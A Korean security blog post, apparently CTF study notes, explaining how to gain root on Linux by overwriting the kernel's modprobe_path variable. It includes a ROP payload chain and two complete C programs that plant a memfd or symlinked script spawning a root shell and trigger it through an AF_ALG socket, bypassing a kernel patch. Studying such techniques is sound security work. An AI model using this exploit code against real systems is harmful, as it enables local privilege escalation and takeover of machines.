Kernel - Overwriting modprobe_path

2025. 7. 6. 17:27·Kernel Exploit/Theory
728x90
반응형

서론

CTF에서 나와서 조금 더 공부해보는 글.

 

modprobe_path

우선 modprobe라는 프로그램은 커널에 로드 가능한 모듈을 추가하거나 제거하는데 사용하는 프로그램이다.

다만, 여기서 만일 알 수 없는 형식의 파일이 실행되면 modprobe_path 경로의 프로그램이 root 권한으로 실행된다.

즉, modprobe_path의 값을 조작할 수 있다면 임의의 프로그램을 실행할 수 있다는 것이다.

또한 modprobe_path의 값은 writable 영역에 전역변수로 설정되어 있기에 매우 취약하다.

 

exploit - before patch

생각보다 꽤 간단하다.

만일 aaw가 가능한 상황이라면 종전의 payload는

save state ->  prepare_kernel_cred -> commit_cred -> (tramp, if required) -> get shell -> state load

순이었다면

save state -> modprobe_path 변조 -> get shell -> state load

순으로 간단해진다.

 

위에서 언급한 것과 같이 modprobe_path는 전역변수이기 때문에 주소 leak이 필요하고,

이 메모리에 값을 넣을 수 있는 gadget들만 구하면 된다.

페이로드 구성은 아래와 같다.

    payload[off++] = 0x0; // rbx
    payload[off++] = 0x0; // r12
    payload[off++] = 0x0; // rbp
    payload[off++] = pop_rax_ret; // return address
    payload[off++] = 0x782f706d742f; // rax <- "/tmp/x"
    payload[off++] = pop_rbx_r12_rbp_ret;
    payload[off++] = modprobe_path; // rbx <- modprobe_path
    payload[off++] = 0x0; // dummy r12
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = write_ptr_rbx_rax_pop2_ret; // modprobe_path <- "/tmp/x"
    payload[off++] = 0x0; // dummy rbx
    payload[off++] = 0x0; // dummy rbp
    payload[off++] = kpti_trampoline; // swapgs_restore_regs_and_return_to_usermode + 22
    payload[off++] = 0x0; // dummy rax
    payload[off++] = 0x0; // dummy rdi
    payload[off++] = (unsigned long)get_flag;
    payload[off++] = user_cs;
    payload[off++] = user_rflags;
    payload[off++] = user_sp;
    payload[off++] = user_ss;

 

exploit - after patch - 1

이를 방지하기 위해 아래 패치가 적용되었다.

exec: remove legacy custom binfmt modules autoloading - kernel/git/torvalds/linux.git - Linux kernel source tree

하지만 이 또한 우회할 수 있는데, 이는 socket을 이용한 것으로 페이로드는 아래와 같다.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MODPROBE_SCRIPT "#!/bin/sh\\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\\n"

int main(void)
{
        char fake_modprobe[40] = {0};
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        snprintf(fake_modprobe, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);

        // Overwriting modprobe_path with fake_modprobe here...

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd < 0) {
                perror("socket(AF_ALG) failed");
                return 1;
        }

        memset(&sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, "V4bel");  // dummy string
        bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

        return 0;
}

 

exploit - after patch - 2

실제로 modprobe_path에 값을 쓰다보면 쓸 값의 길이가 길어 쓸 수 없는 경우가 있다.

즉, after patch - 1의 경우 fake_modprobe의 값이 "/proc/?/fd/?" 의 길이를 가지게 되는데, 다 쓰지 못하는 경우가 있다.

이를 줄이기 위해서 symbolic link를 사용할 수 있다.

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/if_alg.h>
#include <fcntl.h>
#include <sys/mman.h>

#define MODPROBE_SCRIPT "#!/bin/sh\n/bin/sh 0</proc/%u/fd/%u 1>/proc/%u/fd/%u 2>&1\n"

unsigned long modprobe_path = 0xffffffff82b45b20;
char fake_modprobe[40] = {0};

int main()
{
        struct sockaddr_alg sa;
        pid_t pid = getpid();

        int modprobe_script_fd = memfd_create("", MFD_CLOEXEC);
        int shell_stdin_fd = dup(STDIN_FILENO);
        int shell_stdout_fd = dup(STDOUT_FILENO);

        dprintf(modprobe_script_fd, MODPROBE_SCRIPT, pid, shell_stdin_fd, pid, shell_stdout_fd);
        char link_target[64];
        snprintf(link_target, sizeof(fake_modprobe), "/proc/%i/fd/%i", pid, modprobe_script_fd);

        char link[64] = "/tmp/x";
        if (symlink(link_target, link) < 0)
        {
                perror("symlink");
                return 1;
        }

        #modprobe_path를 link의 값으로 덮어씌움.

        int alg_fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
        if (alg_fd < 0) {
                perror("socket(AF_ALG) failed");
                return 1;
        }

        memset(&sa, 0, sizeof(sa));
        sa.salg_family = AF_ALG;
        strcpy((char *)sa.salg_type, "V4bel");  // dummy string
        bind(alg_fd, (struct sockaddr *)&sa, sizeof(sa));

        printf("[-] Failed");
        return 0;
}

 

Reference

Modprobe overwrite | tripoloski blog

 

Modprobe overwrite

modprobe overwrite - kernel exploitation

tripoloski1337.github.io

 

Linux Kernel Exploitation Technique: Overwriting modprobe_path - Midas Blog

 

Linux Kernel Exploitation Technique: Overwriting modprobe_path

A popular and powerful technique to exploit the Linux kernel through modprobe_path

lkmidas.github.io

Linux Kernel Exploit (CVE-2022–32250) with mqueue - Theori BLOG

 

Linux Kernel Exploit (CVE-2022–32250) with mqueue - Theori BLOG

We exploited CVE-2022-32250, a use-after-free vulnerability in Linux Netfilter, to achieve root on Ubuntu 22.04. Learn how we bypassed KASLR and modified modprobe_path. | Vulnerability Research

theori.io

 

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Kernel Exploit > Theory' 카테고리의 다른 글

Kernel - KPTI 우회  (0) 2023.09.10
Kernel - SMAP 우회, krop (간단 글)  (0) 2023.09.10
kernel exploit helper - gdb, cpio 압축 및 압축해제, 컴파일  (0) 2023.09.09
Kernel - stack pivoting #2 - with xchg  (0) 2023.09.09
Kernel - stack pivoting #1 - with mov esp.  (0) 2023.09.08
'Kernel Exploit/Theory' 카테고리의 다른 글
  • Kernel - KPTI 우회
  • Kernel - SMAP 우회, krop (간단 글)
  • kernel exploit helper - gdb, cpio 압축 및 압축해제, 컴파일
  • Kernel - stack pivoting #2 - with xchg
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (520)
      • To do list (7)
        • Doing (1)
        • Complete (6)
      • Diary (35)
      • Tips & theory (75)
      • Kernel Exploit (28)
        • Theory (16)
        • Exercise (5)
      • File Structure (6)
      • Wargame (322)
        • pwn.college (34)
        • Dreamhack (156)
        • pwnable.kr (15)
        • Lord of Sqlinjection (4)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (46)
        • Solved (44)
        • Unsolved (2)
      • Script (0)
      • RubiyaLap (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    libc
    x86
    la ctf
    cryptohack
    BOF
    32bit
    RTL
    Buffer Overflow
    _IO_FILE
    dreamhack
    pwnable.kr
    pwntools
    ROOT ME
    docker
    Me
    hackerschool
    exploit education
    64bit
    x64
    CANARY
    root
    lob
    phoenix
    tcache
    rop
    heap
    vtable
    FSB
    Format String Bug
    root-me
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
Kernel - Overwriting modprobe_path
상단으로

티스토리툴바